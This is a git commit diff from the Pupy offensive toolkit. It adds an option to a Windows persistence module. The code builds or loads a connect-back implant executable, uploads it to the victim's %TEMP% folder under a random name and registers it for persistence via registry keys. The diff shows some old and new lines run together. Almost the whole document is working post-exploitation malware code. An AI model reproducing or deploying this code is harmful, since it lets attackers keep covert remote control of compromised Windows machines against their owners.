add an option to persistency module to supply another exe/script

This commit is contained in:
n1nj4sec 2015-10-09 19:40:24 +02:00
parent 7037dd99da
commit 57c3b82541
1 changed files with 13 additions and 6 deletions

View File

@ -11,6 +11,7 @@ class PersistenceModule(PupyModule):
""" Enables persistence via registry keys """ """ Enables persistence via registry keys """
def init_argparse(self): def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__) self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency')
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method') self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
@windows_only @windows_only
@ -18,19 +19,25 @@ class PersistenceModule(PupyModule):
pass pass
def run(self, args): def run(self, args):
if args.method=="registry": exebuff=b""
self.client.load_package("pupwinutils.persistence") if args.exe:
with open(args.exe,'rb') as f:
exebuff=f.read()
self.info("loading %s ..."%args.exe)
else:
#retrieving conn info #retrieving conn info
res=self.client.conn.modules['pupy'].get_connect_back_host() res=self.client.conn.modules['pupy'].get_connect_back_host()
host, port=res.rsplit(':',1) host, port=res.rsplit(':',1)
self.info("generating exe ...")
#generating exe #generating exe
self.info("generating exe ...")
if self.client.desc['proc_arch']=="64bit": if self.client.desc['proc_arch']=="64bit":
exebuff=pupygen.get_edit_pupyx64_exe(host, port) exebuff=pupygen.get_edit_pupyx64_exe(host, port)
else: else:
exebuff=pupygen.get_edit_pupyx86_exe(host, port) exebuff=pupygen.get_edit_pupyx86_exe(host, port)
if args.method=="registry":
self.client.load_package("pupwinutils.persistence")
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
self.info("uploading to %s ..."%remote_path) self.info("uploading to %s ..."%remote_path)
@ -54,5 +61,5 @@ class PersistenceModule(PupyModule):
self.success("persistence added !") self.success("persistence added !")
else: else:
self.error("not implemented") self.error("method not implemented")